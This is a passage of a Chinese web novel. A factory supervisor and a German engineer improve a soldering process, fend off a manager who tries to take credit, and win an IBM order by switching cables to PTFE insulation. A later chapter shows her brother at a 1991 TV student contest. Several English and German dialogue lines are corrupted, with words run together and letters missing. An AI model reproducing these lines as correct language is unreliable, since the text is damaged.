崭新的电路板在流水线上缓慢移动,机械臂精准地焊接着每一处关键节点,而德国工程师威廉正皱着眉,盯着其中一块焊接点。 “DieseVerbindungistnichtstabil.”(这个连接不稳定。)威廉用德语低声自语,显然对现有工艺并不满意。“DerL?tpunktistnichtausreidfixiert.”(焊点固定不够牢固。) 站在他旁边的是深大英语系大四的实习生,也是厂里专门花钱请来做技术翻译的。小姑娘听不懂德语,只能用英语磕磕巴巴地问:“Mr.William,couldyoupleaserepeatinEnglish?Whatiswrongwiththee?”(威廉先生,能用英语重复一遍吗?连接哪里出问题了?) 威廉烦躁地摆了摆手。很多精密机械的专有名词,他习惯性地会蹦出德语母语,而这个毫无理工科背景的英语实习生,基础的英文术语都翻不明白,这让他这几天的调试工作进展得极其痛苦。 “Ithiemperaturetrolmightbeunstable,whichaffectsthessistency.”(我觉得可能是温控不稳定,影响了焊接的一致性。)一个清冷、冷静,甚至带着几分笃定的女声,突然用极其标准流利的英语在旁边响起。 威廉偏过头,蓝色的眼睛里闪过一丝极大的意外。他看向说话的人——那个平时只负责管理生产排期、长得很漂亮的年轻车间主管。“你……听得懂德语?”威廉有些不可思议地用英语问。 “只会一点点。”裴文莹淡淡地回答。 这是实话。广交会回来后,裴文莹敏锐地察觉到了德国客户在精密制造领域的绝对话语权。她每天晚上雷打不动地跑去深大的夜校,死磕德语工业词汇。虽然还达不到口语流利的程度,但应付车间里的技术交流,勉强够用了。 但威廉显然不信一个中方主管能有这种跨界能力,他挑了挑眉,存心要试探一下,直接换回了语速极快的德语:“好。那你告诉我,你会怎么解决温控问题?” 空气瞬间安静了下来。那个深大实习生一脸茫然地看着两人。 裴文莹没有犹豫,在德国工程师面前,任何虚伪的谦虚都会被视为无能。她要在最短的时间内,建立起对方对中方管理者的技术信任。 她走到机械臂的操控台前,指着温控参数,用英语利落地回答:“Wetryusingamorestablesolderpaste,oadheresbetterevenatslightlylowertemperatures.And,adjustthepreheatingzoemperaturebyincreasingitby2degreestoreducethethermalshotheboard.”(我们可以试试更稳定的焊锡膏,在稍微低一点的温度下也能更好地附着。同时,把预热区的温度调高2度,减少对电路板的热冲击。) “Sehrgut!”(很好!)威廉露出赞许的神色。 他已经明白了她的德语是什么水平,但完全不影响交流,两人一个说英语,一个说德语,全程交流无碍。他转头看向那个尴尬的实习生,用英语毫不客气地下了逐客令,“你可以走了。我这里只需要裴小姐。” 周围的工程师们听不懂他们在说什么,听起来像是说两种语言,云里雾里。但看到威廉脸上的笑容,便知道裴文莹的回答得到了认可。他们的目光不约而同地落在她身上,带着些许惊讶和敬佩。 从那天起,裴文莹被迫兼任了威廉的技术翻译。短短几天,她就成为整个工艺改进团队的核心人物。 每天上午,两人一起在产线上摸爬滚打,调整参数;下午,她还要回办公室整理厚厚的工艺报告,将那些晦涩的德英文图纸转化为通俗易懂的中文操作指导书,发给一线的工人们。 夜里,她还要翻着那本快被翻烂的《德汉工业词典》,恶补威廉白天抛出的各种新概念。 她的进步是惊人的。 有一次,在讨论刀模切线角度时,威廉兴奋地说了一长串德语。裴文莹想也没想,直接用德语回敬了一句:“想法很好,但配件的磨损率会太高。” 威廉愣住了。他看着眼前这个连续熬夜,眼睛里有了血丝的年轻女人,意味深长地笑了:“裴,你是个聪明且可怕的女人。 “你这样学下去,迟早比我还懂技术。那我来这里还有什么意义?”有一天,威廉半开玩笑地用英语打趣。 “那你最好再努力点,别被我抢了饭碗。”裴文莹头也没抬,在一张废弃的图纸上画着电路走向,语气里带着毫不掩饰的野心与锐气。 威廉大笑起来。在严谨刻板的德国工业界,他很少见到这种充满侵略性与生命力的女性。 会议桌上的图纸和文件堆积如山,裴文莹拿起一份图纸,仔细地看了起来,眼神专注。 “你觉得这个环节可以改进吗?”威廉指着图纸上的一个部分,用德语问道。 裴文莹点了点头,说道:“我认为这里可以采用一种新的焊接技术,不仅能提高效率,还能保证产品的质量。” 威廉眼睛一亮,说道:“这个想法很好,我们可以尝试一下。你对这个技术很熟悉吗?” 裴文莹微微一笑,说道:“我在图书馆的相关书籍上看到过,虽然没有实际应用过,但理论基础还是有的。” 威廉点了点头,说道:“那太好了,我们可以一起探讨一下。” “裴经理,你这德语是怎么学的?”旁边的技术员低声问。 “翻字典。”她笑着回答,眼里透着几分戏谑。 众人一阵哄笑。 随着时间的推移,裴文莹和威廉之间的关系越来越密切。他们一起工作,一起讨论问题,甚至在休息的时候,也会一起聊天。裴文莹发现,威廉不仅是一个优秀的工程师,还是一个很有幽默感的人。 而威廉也发现,裴文莹提出了很多有价值的建议,对她的能力和才华非常欣赏。两人的交流越来越频繁,不仅在工作上配合默契,在语言的学习上也互相帮助。

有时,他们会用德语交流,威廉耐心地纠正裴文莹发音上的错误,而裴文莹则虚心地学习着。 在一次休息的时候,威廉看着窗外的蓝天,突然说道:“在我的家乡,有美丽的山脉和森林。空气非常清新,那是个放松的好地方。” 裴文莹听着,眼中流露出向往的神情,“听起来太棒了。我真的希望有一天我能去德国看看。” 威廉转过头看着她,微笑着说:“我相信你会有机会的。如果你去了,我可以当你的导游。” 七月底,改进后的新工艺终于迎来了第一次测试。 当天傍晚,天色昏黄,电子厂的技术团队围在实验室里,盯着测试结果。 屏幕上的数据逐渐稳定,误差范围降低到了原来的三分之一。 “成功了!”老张激动得一巴掌拍在大腿上。 威廉穿着一件白色的衬衫,领口微微敞开,露出一截古铜色的肌肤,一头金发在灯光下闪闪发光,显得格外精神。他站起身来,长舒一口气,目光落在裴文莹身上:“你是我见过最有天赋的工程师。” 就在大家准备去食堂加餐庆祝时,车间的铁门突然被推开了。 一个生产线的领班气喘吁吁地跑进来:“裴主管,尤厂长找你。让你马上带着这几天的工艺改进报告去他办公室,说是老板要看。” 裴文莹的心里微微一沉。一种在职场里摸爬滚打多年练就的警觉,让她敏锐地嗅到了一丝不对劲的味道。 厂长办公室里,烟雾缭绕。 尤厂长坐在宽大的皮椅上,眉头紧锁地抽着烟。 作为当年从国营老厂被郭育铭高薪挖过来的老资历,尤厂长其实一直有着深深的生存焦虑。他懂怎么管工人,懂怎么搞人际关系,但在面对这些新引进的精密自动化设备、面对满嘴外文的外籍工程师时,他有一种强烈的失控感。 尤其是最近,裴文莹在车间里的风头太盛了。 她不仅能和德国人谈笑风生,甚至连一些核心的工艺参数,威廉都只跟她一个人讨论。底下的工人和技术员现在遇到问题,第一反应是去找裴主管,而不是他这个尤厂长。 这种权力被逐渐架空的恐惧,让尤厂长如芒在背。 他必须在这个新工艺即将进入大规模量产的关键节点,把主导权抢回来。这不仅关乎面子,更关乎他在铭康的地位。 “咚咚。” 裴文莹敲门走了进来,手里拿着刚刚打印出来的测试报告。 “尤厂长,您找我。” 尤厂长掐灭了烟,脸上堆起了一个和蔼甚至有些慈祥的笑容:“文莹啊,来,坐。这几天辛苦你了。” 裴文莹把报告放在桌上,微笑地看着他:“应该的。新工艺的初步测试已经通过,良品率提升了15%,明天就可以安排试产了。” “好!太好了!”尤厂长拍了拍桌子,随即话锋一转,语气变得有些语重心长,“不过啊,文莹,我今天叫你来,主要是想和你商量个事。最近厂里有些风言风语,说你一个年轻女同志,成天跟那个外国工程师在车间里同进同出的,影响不太好啊。” 裴文莹心里冷笑了一声。又是这一招。卸磨杀驴。 刚刚才试验成功,还没进去试运行阶段,就有人看不下去了,要伸手摘桃子了! 34. 第 34 章 她脸上恰到好处地露出了惊讶和委屈的神情,“尤厂长,我和威廉先生是在工作。这是郭总亲自批复的工艺改进项目。我不懂什么叫影响不好。” 尤厂长见她不接招,脸上的笑容收敛了几分:“裴小姐,我这也是为了你好。你毕竟是个未婚女孩,名声重要。这样吧,既然前期的翻译和沟通工作你已经帮着理顺了,接下来的试产和量产跟进,就由老张和技术部接手。你这段时间也累坏了,回办公室好好休息几天。” 图穷匕见。这哪里是为了她的名声,这分明是趁着桃子熟了,准备一脚把她踢开,好让技术部把这份工艺改进的功劳揽到他尤厂长的名下! 裴文莹不想再虚与委蛇了,她直接挑明:“尤厂长,这是老板的意思,还是你的意思?和威廉先生一起完成工艺改进的工作,是老板当初提议的,我也尽心竭力按照厂里的安排在执行任务,现在刚刚才试验成功,设备还没有进入试运行阶段,如果现在中途换人,试产一旦出现断崖式的废品率,这个责任,您负得起吗?” 这句话直戳尤厂长的肺管子。 他猛地一拍桌子,拿出了厂长的官威:“裴文莹!你这是什么态度?!怎么,几千人的大厂,离了你一个人就转不动了?!工作安排是厂里的统筹,你这是要居功自傲吗?!” 裴文莹没有再争辩。永远叫不醒一个装睡的人,也永远不要试图和一门心思想抢功的领导讲道理。 “好。”裴文莹深吸了一口气,将桌上的报告往前推了推,“既然厂里有了统筹安排,我服从。报告给您,希望明天的试产,一切顺利。” 说完,她转身拉开门,干脆利落地走了出去。 尤厂长看着她的背影,冷哼了一声。“一个小丫头片子,还真把自己当不可替代的核心了?”他得意地拿起桌上的报告,打电话让老张过来。 然而,尤厂长并不知道,在精密制造领域,纸面上的参数和实际生产中的动态微调之间,隔着一条足以让整个项目翻车的鸿沟。 而这条鸿沟,很快就会让他付出惨痛的代价。 第二天清晨,铭康一号车间。 尤厂长背着手,在一群技术部骨干的簇拥下,意气风发地站在了新改造的自动化生产线前。 他今天特意穿了一件崭新的短袖衬衫,头发梳得一丝不苟。在他看来,前期的脏活累活裴文莹都已经干完了,德国人也点了头,今天的试产不过是走个过场。只要第一批良品下线,这份实打实的业绩就算是落进了他的口袋。 “老张,参数都按那份报告输进去了吗?”尤厂长侧头问技术部主管老张。 老张擦了擦额头的汗,心里其实有些没底:“厂长,参数是输进去了,但是这台机器的温控模块对环境湿度很敏感。以前裴主管在的时候,每天早上都会根据车间的温湿度计做一次微调……” “微调什么?德国人的机器讲究的就是严谨,照着规矩来就行了!”尤厂长不耐烦地打断了他,大手一挥,“开机!” 沉重的电闸合上,流水线发出低沉的轰鸣声,履带开始缓缓转动。 一切看起来似乎都很顺利。 然而,当第一批成品经过冷却区,送到品质检验台的显微镜下时,负责质检的工程师脸色瞬间变了。 “厂长!不好了!”质检员拿着几块刚下线的电路板跑了过来,“连片虚焊!焊点全部发灰、不饱满,还有好几处短路!” 尤厂长脸上的笑容猛地僵住,一把抢过电路板。虽然他不懂精密的微电子技术,但那斑驳丑陋的焊点,肉眼都能看出是不合格的废品。 “怎么回事?!昨天测试不是还好好的吗?!”尤厂长冲着老张吼道。 老张急得满头大汗,赶紧招呼技术员去排查:“快!查一下是不是焊锡膏的比例不对?或者是回流焊的温度没达到?” 就在车间里乱作一团的时候,去上了个洗手间刚回来的威廉,看到了这一幕。 这位一向以严谨著称的德国工程师,在检查了三块废品板和机器的控制面板后,蓝色的眼睛里燃起了不可遏制的怒火。 “谁允许你们在没有动态校准的情况下开机的?!”威廉愤怒地咆哮。 老张和几个技术员面面相觑,完全听不懂他在吼什么,只能求助地看向尤厂长。 尤厂长也是一头雾水,只能连蒙带猜地赔笑脸:“威廉先生,别急,别急,机器可能有点小故障,我们马上修……” “WhereisMissPei?IneedMissPei!”(裴小姐在哪?我需要裴小姐!)威廉根本不理会他,愤怒地环视着四周,寻找裴文莹。 “裴主管……她今天被安排去仓库盘点库存了。”老张弱弱地回了一句。 威廉虽然听不懂中文,但从老张躲闪的眼神里猜到了什么。他深吸了一口气,压下怒火,直接转身走出了车间,径直朝着郭育铭的总经理办公室走去。 十分钟后,郭育铭的办公室里爆发了争吵。 “郭先生,我希望你能明白,”威廉站在办公桌前,义正辞严,“裴小姐是一位有才华且敬业的专业人士。整个工艺改进的全部流程只有她完全掌握。你们中途换不懂技术的人代替她,这是在拿公司的良品率开玩笑!也是在侮辱我的工作!” 郭育铭被这突如其来的指控搞得有些发懵。他看了一眼左右:“怎么回事?谁把文莹换下来的?” 冯心媚咬着嘴唇,不敢隐瞒:“是……是尤厂长。他说裴主管和威廉先生走得太近影响不好,就让技术部接手了试产……” 郭育铭的脸色瞬间阴沉得滴水。 他太清楚底下这些老油条抢功劳的把戏了。平时争名夺利也就算了,但在这种关乎公司工艺升级、甚至影响接单能力的节骨眼上搞这种愚蠢的小动作,简直是作大死! “威廉先生,这绝对是个误会。我向您保证,裴小姐会立刻回到这个项目中来。”郭育铭站起身,用英语郑重地向威廉承诺。 送走威廉后,郭育铭转头看向冯心媚:“去把尤厂长给我叫来!” 下午,铭康电子厂的仓库里,裴文莹正拿着笔,在一排排高耸的货架前核对着物料报表。她的神情很平静,甚至有些悠闲。 她昨天交出报告时就知道,今天的试产必定失败。 广东的夏天,早晚湿度变化极大,新工艺必须根据当天的温湿度计指数,对预热区进行微调。这个关键细节,除了她和威廉, 整个厂里没人知道。 “裴主管!裴主管!”一阵急促的脚步声从仓库门口传来。 尤厂长满头大汗地跑了进来。他那件早上还熨得笔挺的短袖衬衫,此刻后背已经被汗水浸透了。刚才在郭总办公室里挨的那顿痛骂,让他现在还有些心有余悸。 “哎呀文莹啊,你怎么在这种又闷又热的地方干活呢?快快快,放下手里的活!”尤厂长跑得气喘吁吁,脸上堆满了讨好的、甚至有些谦卑的笑容。 裴文莹没有放下手里的笔,只是抬起头,淡淡地看了他一眼:“尤厂长,您找我?这是厂里安排的工作,我不敢耽误。” 尤厂长的脸皮猛地抽搐了一下。这分明是在拿昨天他的话在打他的脸。 但他现在顾不上什么面子了。一号线那边停工大半天了,郭总下了死命令,如果今天试产不成功,他这个厂长就干到头了。 “文莹啊,昨天是我糊涂!我年纪大了,听信了底下的谗言。”尤厂长硬着头皮,放低了姿态,“一号线那边试产出了大问题,威廉先生发了很大的火。你看……你能不能回去主持大局?” 裴文莹看着他那副前倨后恭的滑稽模样,心里没有一丝波动。 在职场上,善良如果没有长出牙齿,就会被人啃得连骨头都不剩。但她并不打算就这么轻易地答应。 “尤厂长,您太抬举我了。”裴文莹轻轻合上报表夹,语气不温不火,“我只是个没结过婚的年轻女同志,要是在车间里再传出什么作风问题,我怕是跳进黄河也洗不清了。技术部那么多骨干,您还是请老张他们去解决吧。” 这句话一出,尤厂长的冷汗直接顺着额头淌了下来。这是铁了心要看他笑话啊! 尤厂长知道,如果不下狠招,今天是请不动这尊神了。他一咬牙,狠下心说道:“文莹!只要你肯出手,以后一号线的工艺改进项目,你来全权主导!技术部的人全凭你调遣!谁要是再敢在背后嚼舌根,我第一个开除他!” 这句话一出,仓库里几个正在搬货的工人都停下了手里的活,震惊地看了过来。厂长这是当众交出了工艺改进的指挥权啊! 裴文莹看着尤厂长那张憋得通红的脸,知道火候差不多了。 她微微勾了勾唇角,将手里的报表夹递给旁边的物料员。 “既然尤厂长这么信任我,”裴文莹拍了拍手上的灰尘,语气变得干脆利落,“那我就走一趟吧。不过丑话说在前头,到了车间,工艺改进必须听我的。” “听听听!全听你的!”尤厂长如蒙大赦,连连点头,像请佛爷一样走在前面带路。 十分钟后,裴文莹重新踏入了一号车间。 威廉正坐在操控台前生闷气,看到裴文莹走进来,蓝色的眼睛瞬间亮了。他快步走上前,给了她一个大大的拥抱,抱怨道:“裴,感谢上帝你来了!这些人要把这堆机器都搞炸了!” 裴文莹笑了笑,安抚地拍了拍他的手臂,用德语轻声说了一句:“别担心,我来处理。” 尤厂长长长地吐出了一口浊气,瘫坐在了旁边的椅子上。他看着被人群簇拥在中间、正和德国工程师相谈甚欢的裴文莹,心里彻底服气了。 这个女人,惹不起。 35. 第 35 章 铭康一号线的工艺改进刚刚步入正轨,一个足以改变工厂命运的巨大机遇,突然砸了下来。 IBM——这个当时在全球计算机领域占据绝对霸主地位的蓝色巨人,正在全亚洲寻找能够提供高规格打印机连接线的代工伙伴。 这是一个价值五十万美金的初始试水订单,但它背后的意义,远不止这五十万。一旦成为IBM的合格供应商,铭康的名字将被打上“全球顶级供应链”的烙印,这对于一家在低端制造里厮杀的台资代工厂来说,无异于脱胎换骨。 然而,机遇背后,是极其苛刻的技术门槛。 IBM希望铭康能够生产一种更耐用、更适应严苛环境的连接线材料,用于计算机和打印机的连接。然而,铭康现有的基础数据线产品,多为铜线和PVC绝缘层的线缆,这种材料成本较低,但无法满足IBM对高性能的要求。 会议室里,烟雾缭绕,气氛凝重。有人皱眉,有人眼神游移。 郭育铭坐在主位上,面沉如水。尤厂长和技术部主管老张盯着桌上那份全英文的IBM规格说明书,眉头紧锁,脸色难看至极。 裴文莹坐在侧边,手里拿着一支红笔,不时在说明书上做着批注。 “各位,情况很清楚了。”郭育铭打破了沉默,声音有些沙哑,“IBM要求这款连接线必须具备极高的耐高温性、抗干扰性,还要在零下20度的环境下保持绝对的柔韧性,不能发生断裂。我们现在常用的PVC(聚氯乙烯)材料,根本达不到这个标准。” “郭总,这简直是强人所难啊!”老张忍不住抱怨道,“PVC成本低、好加工,是业内通用的绝缘层材料。要想达到他们那个抗冻又耐高温的变态要求,除非用航空航天级别的材料。咱们这只是个电子组装厂,哪有那个技术储备?” 尤厂长也叹了口气:“是啊,郭总。这块骨头太硬了,搞不好把咱们的牙都崩了。” 就在所有人准备放弃时,“啪”的一声轻响,裴文莹将手里的红笔拍在了桌子上。 她抬起头,目光扫过在场的所有人,眼底闪烁着某种锋利的光芒:“如果不换掉PVC,我们永远只能做廉价的低端代工。要拿下IBM,我们必须换材料。” 老张苦笑了一下:“裴主管,换材料说得轻巧,换什么?一般的橡胶和硅胶也达不到他们的综合指标啊。” 裴文莹深吸了一口气,清脆的声音在会议室里炸响:“换PTFE(聚四氟乙烯)吧。如果我们能用PTFE代替PVC,它的耐高温性、绝缘性和抗腐蚀性都更适合IBM的数据线需求。” “什么?!”老张直接从椅子上跳了起来,连连摆手,“不行不行!那可是‘塑料王’!工艺复杂得要命!成本更不低,咱们现有的生产线根本干不了这个活儿!” 裴文莹没有退缩,她站起身,双手撑在桌面上,直视着老张:“PVC早晚会被高端市场淘汰。PTFE耐高温、抗腐蚀、摩擦系数极低。300度才开始分解,400℃才能水解,抗酸抗碱抗各种溶剂,连王水都溶解不了,再加上耐高温、摩擦系数低,这可能是铭康未来三到五年内,拉开与同行差距的核心技术竞争力。” PTFE30年前就有了,之前广泛应用与国防、航天、仪表、建筑等领域,现在的技术更成熟。裴文莹去年就有了这个想法,只不过缺一个合适的契机,现在,这个契机刚好出现了。 她转向郭育铭,语气笃定:“郭总,深城现在已经有化工厂在做PTFE的初步民用化了,我们能买到原材料。如果我们能成功使用它来代替PVC,铭康不仅能拿下这笔订单,还能在未来进入更高端的市场。” 郭育铭看着眼前这个野心勃勃的年轻女人。 这不仅是在挑战一项技术,这是在赌整个工厂的升级方向。 他沉默了足足一分钟,最后将烟头狠狠按灭在烟灰缸里,猛地一拍桌子:“就这么办了!老张,技术部全力配合文莹;尤厂长,后勤和设备采购跟上,两周内,我要看到PTFE的样品!” 接下来的十四天,铭康一号车间变成了一个没有硝烟的战场。 裴文莹直接把行军床搬进了实验室,带着研发团队不断调试生产工艺,调整材料配比,每天工作时间长达十六个小时。 PTFE这种被称为“塑料王”的材料,确实名不虚传——它简直是个难以驯服的怪物。它的确优越,但加工难度极高,一旦温度控制不当,材料就会脆裂,无法达到柔韧性标准。 实验的第一天,灾难就降临了。 由于PTFE的熔体粘度极高,流动性极差,第一批出炉的连接线,表皮坑坑洼洼,轻轻一折,绝缘层就像干枯的树皮一样碎裂脱落。 “裴主管,”老张看着一地的废料,心累,“这材料太难搞了。” 裴文莹和威廉连夜修改了结构图,解决了包覆问题。但新的问题又接踵而至。 她站在压接机旁,拿起一根刚下线的连接线,仔细观察接头,手指沿着压接点缓缓滑过,感觉到一丝微妙的不均匀。 “这批产品的压接点还是有细微的变形。”她转头对技师说,“长期使用会影响信号传输。” 技师擦了擦汗,有些犹豫:“但如果精度再提升,我们的生产速度会受影响,交付周期可能拖长。” 裴文莹思索了一下,随后坚定地说:“质量比交付周期更重要。如果我们能提高一次合格率,最终还是能提升效率。” 实验陷入了死胡同。连续三天,每一次得到的都是失败的数据。 深夜的两点,车间里空荡荡的。 裴文莹席地而坐,手里拿着一根测试失败的线缆在发呆。即使是拥有前世记忆的她,也感到了一种深切的无力感。前世她知道方向,但这需要无数次枯燥的试错。 威廉端着两杯速溶咖啡走了过来,递给她一杯,在她身边坐下。“休息一下吧,裴。罗马不是 一天建成的。” 裴文莹接过咖啡,喝了一大口,苦涩的液体刺激着神经。 “威廉,你觉得,如果我们采用分段冷却呢?”她突然盯着手里的线缆,像是在自言自语,“PTFE结晶速度太快导致发脆。如果我们拉长冷却水槽,前段用热水缓冷,后段再用冷水定型,是不是能增加它的柔韧性?” 威廉愣了一下,随即眼睛猛地一亮,猛地一拍大腿:“我的天!你可能是对的!” 两人像打了鸡血一样,立刻跳起来,叫醒了正在打盹的老张。 两周后,IBM的技术代表团准时抵达铭康电子厂。 宽敞的会议室里,气氛庄重。 IBM的首席工程师戴着金丝眼镜,手里拿着铭康提供的PTFE数据线样品。他用各种苛刻的仪器进行了长达三个小时的反复测试:高温烘烤、低温弯折、高频信号抗干扰测试…… 整个铭康的高管团队都屏住了呼吸。尤厂长紧张得不停地擦汗,郭育铭的手也在桌下微微攥紧。只有裴文莹,神色平静地坐在那里。 终于,IBM的首席工程师放下了手里的仪器,抬头看向郭育铭,严肃的脸上露出了一丝惊叹的笑容。 “郭总,我必须承认,贵厂的研发能力远超我们的预期。PTFE样品非常完美。” 会议室里顿时响起了一阵压抑的欢呼。老张激动得差点跳起来,技术团队人人眼眶通红。 五十万美金的订单,现在稳了! 然而,就在郭育铭准备起身握手时,IBM的代表却话锋一转,语气变得极其严肃:“不过,为了确保供应链的绝对稳定,我们还需要附加一个最终条件。” 裴文莹的心猛地一沉,她警惕地看向对方:“什么条件?” “我们需要你们不仅要完成第一批五万根成品的交付,还要提供一整套用英文撰写的、符合国际通行标准的PTFE工艺流程和品控文档。” 郭育铭看向裴文莹,裴文莹点点头,示意没问题,于是郭育铭微笑着应下了这个附加条件。 IBM代表郑重地向郭育铭伸出了手:“欢迎加入IBM供应链。” 铭康电子厂,终于迈出了从低端代工到高端制造转型的第一步。而这一切的背后,是那个二十出头的女孩,用超前的眼光和拼命三郎的干劲,头铁地砸开的一条小路。 当晚,华灯初上,深城的夜景璀璨迷人。 裴文莹独自站在厂区的顶楼,俯瞰着这座充满奇迹的城市,轻轻松了口气。 “下一步呢?”威廉走过来,和她并肩而立。 裴文莹转过头,看着威廉那双深邃温柔的蓝眼睛,微微一笑。 “我想去你的家乡看看,威廉。”裴文莹的声音轻柔却充满力量,“去德国,去看看世界顶级的工业制造到底是什么样。请你帮我。” 威廉微微一愣,随即露出了一个无比灿烂的笑容。“这将是我莫大的荣幸。” 36. 第 36 章 1991年7月,暑假刚刚开始。 湘省电视台最大的演播大厅里,冷气开得很足,却压不住现场近千名观众蒸腾而出的热浪。五颜六色的霓虹灯管在舞台上方交织闪烁,巨大的红底黄字横幅——“东江省第一届中学生风采大赛全国总决赛”高高悬挂。 这是省台第一次尝试将娱乐元素引入中学生节目,还史无前例地拉到了本地汽水厂的二十万元赞助。整个台里上下都憋着一股劲,要把这场直播打造成暑期档的收视王牌。 后台的通道里,带队的编导扯着嗓子,指挥着进入总决赛的十位美少年:“快快快!排好队!一号检查麦克风,三号把你的领结扶正!马上要切直播信号了!” 在这群紧张得直跺脚、或者兴奋得对着镜子拼命练习笑容的男孩中间,裴文韬就像是一个不小心误入片场的局外人。 他站在最边缘的角落,双手插在裤兜里,脸上没有一丝波澜。 他穿着简单的白色T恤和深蓝色牛仔裤,衣着朴素,没有抹发胶,也没有上粉底,在众多青春、活泼、阳光的帅小伙的衬托下,显得清冷而疏离。 “各部门注意!五、四、三、二、一!切一号机!”四周的灯光汇聚成一片耀眼的光辉,主持人宣布“全省中学生风采大赛”总决赛开始,十位少年依次走上舞台。 台下瞬间爆发出雷鸣般的掌声和欢呼声,夹杂着一些年轻女孩毫无顾忌的尖叫。闪光灯此起彼伏,像一场微型的流星雨,刺得人睁不开眼。 按照流程,首先是主持人的问答互动环节。主持人是省台著名的“名嘴”,穿着一身亮片西装,拿着带有长长天线的麦克风,满脸堆笑地穿梭在选手中间。 “这位一号选手,请问你最大的梦想是什么?” “我的梦想是成为一名科学家!为中华之崛起而努力!”一号男生昂首挺胸,回答得字正腔圆,像是在背诵课文。 台下响起一片赞许的掌声。 “三号选手,如果你拿了冠军,这笔奖金准备怎么用?” “我会把一半捐给希望工程,另一半交给妈妈保管!”三号男生露出了八颗牙齿的标准笑容。 评委们纷纷点头,露出满意的微笑。 终于,主持人走到了站在最边缘的裴文韬面前。 导播的镜头瞬间切了个大特写。 监视器后的总导演倒吸了一口凉气。那是一张极其抗打的电影脸,在强光的照射下,骨相立体得没有任何死角。更要命的是,他那双深邃冷淡的眼睛里,透着一股不符合年龄的孤高与隐忍,与周围那些阳光灿烂、甚至有些做作的同龄人相比,简直是两个世界的人。 “这位十号选手,裴文韬同学。”主持人看着手里的台本,故意提高音量制造噱头,“听说你在你们学校,是常年霸占年级第一的‘学神’啊!既然学习这么好,为什么还要来参加风采大赛呢?” 全场安静下来,等待着这个长相惊艳的男孩给出一个正确而乏味的标准答案。 裴文韬抬起眼,目光越过刺眼的聚光灯,淡淡地看了一眼主持人,只吐出了四个字:“被人骗来的。” 全场一片寂静。坐在右侧亲友团席位最前排的刘杰,吓得差点从椅子上滑下去,目瞪口呆。 主持人脸上的笑容僵了一下,试图圆场:“哈哈,看来裴文韬同学非常幽默啊!那,面对今天这么多强劲的对手,你觉得自己最大的优势是什么?” 裴文韬微微垂眸,似乎认真思考了一秒,然后诚实地回答:“没有优势。” 这下,连评委席上的专家都忍不住皱起了眉头。 台下的观众席里开始出现细微的骚动。 “这人怎么回事啊?长得挺好看的,怎么像个木头一样?” “不会是脑子有问题吧?问什么都不说。” “切,我看就是个徒有其表的花瓶!仗着长得帅,在这装酷呢!” 在那个强调“热情饱满”、“积极向上”的年代,裴文韬这种极度的冷淡与惜字如金,被很自然地解读为了傲慢与无能。 这个帅得一塌糊涂的男孩子,也许脑袋空空,只是个花瓶。 很快,互动环节草草结束,迎来了今晚的重头戏——才艺展示。 刘杰坐在亲友团席上,觉得自己的心脏都快要从嗓子眼里跳出来了。 他太清楚了,裴文韬根本没有准备任何才艺!他第一次后悔,不该一时冲动,把他的兄弟弄到这个修罗场。 选手们抽签决定出场顺序。不知道是不是老天爷在故意折磨刘杰的神经,裴文韬抽到了十号,压轴出场。刘杰心存侥幸,最后一个,总比第一个要好。 前面的九位选手可谓是八仙过海,各显神通。 有跳霹雳舞的,有拉着手风琴唱歌的,还有表演书法、甚至现场变魔术的。虽然略显稚嫩,但在那个年代的舞台上,已经足够博得满堂彩。 时间一分一秒地过去。 终于,主持人拿着麦克风,高声喊道:“接下来,让我们有请最后一位选手,十号裴文韬同学,带来他的才艺展示!” 台下的掌声稀稀拉拉,显然,经过刚才问答环节的冷场,观众对这个不解风情的木头帅哥已经失去了期待。 刘杰闭上眼睛,不敢再看台上,害怕裴文韬丢脸,也害怕自己亲眼看到裴文韬丢脸。 裴文韬从选手席站起身,走到了舞台中央。 主持人笑眯眯地走过去,语气里带着几分等着看好戏的调侃:“裴文韬同学,前面的选手可是把十八般武艺都亮出来了。作为压轴,你今天准备带来什么才艺呢?” 他清晰地听到了前排几个女生刻意压低的窃笑声。 “这种乡下小县城来的,除了死读书,还能有什么才艺?白长了一张好脸。” 这些带着地域优越感和恶意揣测的声音,像一根根细小的针,试图刺破他周身的防护罩。 但裴文韬并不在意。他在怀石镇长大,早已学会了将一切外部的伤害隔绝在心门之外。 他只是觉得有些无聊,甚至有些厌烦。他想赶紧结束这场荒诞的闹剧。 “我没有才艺。”裴文韬看着主持人,语气依旧平淡,“不会唱歌,不会跳舞,也不会乐器。” 此话一出,全场哗然。 总导演在后台气得差点砸了对讲机:“这小子是不是来捣乱的?!” 评委席上的专家脸色铁青,导播已经准备紧急暂停录制,中场休息了。 就在全场即将陷入失控的混乱时,裴文韬突然微微仰起头,清寒的目光越过刺眼的灯光,投向了演播厅深邃的穹顶。 他脑海中,突然浮现出了在旗山县一中那个拥挤的男生宿舍里,在无数个难以入眠的深夜,他戴着随身听,反反复复聆听的那些打口磁带。 那是姐姐裴文莹从深城给他寄来的。在几十盘喧闹的摇滚乐中,夹杂着两盘没有封面的英语演讲录音带。 “我背一段演讲吧。”裴文韬收回目光,淡淡地开口。 “演讲?”主持人愣住了。在当时的电视节目里,朗诵诗歌很常见,但演讲?还是一个中学生的演讲? 几乎所有人的目光都聚焦在裴文 韬身上,言语中的讽刺几乎要从空气中溢出。 有人小声道:“呵,农村孩子,怎么可能会英语。” “听说他们县里英语老师原来都是教俄语的……” “教俄语的是什么鬼哈哈哈哈哈!” 台下响起了一阵窃笑,几个参加比赛的选手互相交换了一个眼神,似乎都在期待着他被当众“出丑”。 裴文韬清楚地听见了这些声音,此时他可以感知到,镜头对准了他的脸,但他并不在意。他的内心深处早已做好了准备,不论面对什么局面,他都不打算退缩。 刘杰满脸焦急,口中念念有词。“文韬,别丢脸啊!你就随便说个什么话呗,随便展示个才艺也好……” 刘杰祈祷他千万不要背英语课文——一想像那个画面,他脑瓜子就嗡嗡的。他发誓,过了今天,以后要对裴文韬好一点,再好一点。如果把他和裴文韬的位置调换过来,他刀了他自己都是轻的。 主持人显然有些意外,眉头微微一挑,“哦?那你来给大家展示一下吧。我们这儿可是从未听过什么演讲呢。” 在铺天盖地的质疑与嘲笑声中,裴文韬从主持人手里接过了麦克风。 他没有理会任何人的目光。 他闭上眼睛,深吸了一口气。那些在深夜里陪伴他度过孤独岁月的、带着电磁底噪的纯正美音,那些跨越了星辰大海的深邃思想,如同潮水般涌入他的脑海。 当他再次睁开眼睛时,他身上的那股漫不经心消失了,取而代之的,是一种令人心悸的沉静与悲悯。 裴文韬将麦克风举到唇边,薄唇微启。 “Lookagainatthatdot.That'shere.That'shome.That'sus.(再看一下这个光点吧。它就在这里。这是家园。这是我们。)” 